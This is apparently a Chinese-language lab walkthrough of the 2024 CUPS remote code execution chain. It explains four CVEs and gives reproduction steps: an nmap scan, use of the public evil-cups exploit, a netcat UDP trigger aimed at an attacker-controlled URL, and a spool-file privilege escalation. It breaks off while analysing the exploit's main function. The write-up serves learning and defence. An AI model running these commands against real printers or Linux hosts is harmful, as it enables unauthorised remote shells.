靶场概述:
2024 年 9 月 26 日,一位名为 Simone Margaritelli 的研究人员发布了有关 CUPS 漏洞的研究。其中包括四个 CVE:
- CVE-2024-47176 - 通常侦听所有 UDP 631 接口的服务,允许远程将打印机添加到机器。此漏洞允许任何能够访问此机器的攻击者触发“获取打印机属性”互联网打印协议 (IPP) 请求【Get-Printer-Attributes】,该请求将发送到攻击者控制的 URL。
- CVE-2024-47076 -
libcupsfilters
负责处理从请求返回的 IPP 属性。这些属性未经清理就被写入临时的 Postscript 打印机描述 (PPD) 文件,从而允许写入恶意属性。 - CVE-2024-47175 -
libppd
负责读取临时 PPD 文件并将其转换为系统上的打印机对象。它在读取时也不会进行清理,从而允许注入攻击者控制的数据。 - CVE-2024-47177 - 此漏洞
cups-filters
允许使用打印过滤器加载打印机foomatic-rip
,该过滤器是一种通用转换器,用于将 PostScript 或 PDF 数据转换为打印机可以理解的格式。它长期以来一直存在命令注入问题,并且仅限于手动安装/配置。
整个漏洞的利用中攻击者可以通过模拟IPP协议伪装成虚假的打印机,并在其附上恶意的打印机属性,通过构造特殊请求(CVE-2024-47176)触发客户端获取打印机属性,由于关键位置没有被过滤(CVE-2024-47076,CVE-2024-47175)从而导致在获取时被植入恶意指令,最后通过打印请求触发恶意指令(CVE-2024-47177)回弹shell可获取打印机的用户权限执行任意指令,从而完成了整个攻击链路。因为CUPS集成在了很多Linux 发行版中,因此漏洞的影响很大。
靶场复现
端口扫描
nmap -p- <ip> -sS -sV -sC --stats-every 1s -T4
漏洞利用
git clone https://github.com/IppSec/evil-cups.git
cd ./evil-cups
python./evil-cups.py <LOCAL_HOST> <TARGET_HOST> <COMMAND>
运行后在web页面执行打印测试页操作触发命令执行
提权
cat /var/spool/cups/d00001-001
或者下载下来使用pdf工具查看这个文件,登录root账户
漏洞分析
首先是 CVE-2024-47176 这是整个漏洞链的首要条件,通过阅读原文我们可以了解到 通过构造格式为:0 3 http://<ATTACKER-IP>:<PORT>/printers/whatever
的udp请求 发送到631端口触发。这里我首先使用 netcat
模拟。
echo -n "0 3 http://<ATTACKER-IP>:<PORT>/printers/whatever" | nc -u <ATTACKER-IP> 631
根据回显的效果我们可以看出来,我们成功触发了打印机服务并让他主动扫描我们的机器,而接下来我们需要模拟打印机,返回一个含有恶意指令的打印机属性,这里我们可以使用靶机作者提供的poc: https://github.com/IppSec/evil-cups.git ,我们来认真分析这个poc。
主函数
查看这个脚本的main函数处,我们可以很清晰的看出来这个程序执行的逻辑:
- 初始化参数:本地IP,目标IP,命令,端口
- 以多线程的方式运行打印服务
- 向对方631端口发送UDP数据包,让目标主动扫描本机的打印服务
- 计数器每隔1s打印一次运行时间,一方面明确等待时间,一方面阻塞程序防止关闭
if __name__ == "__main__":
#初始化参数
if len(sys.argv) != 4:
print("%s <LOCAL_HOST> <TARGET_HOST> <COMM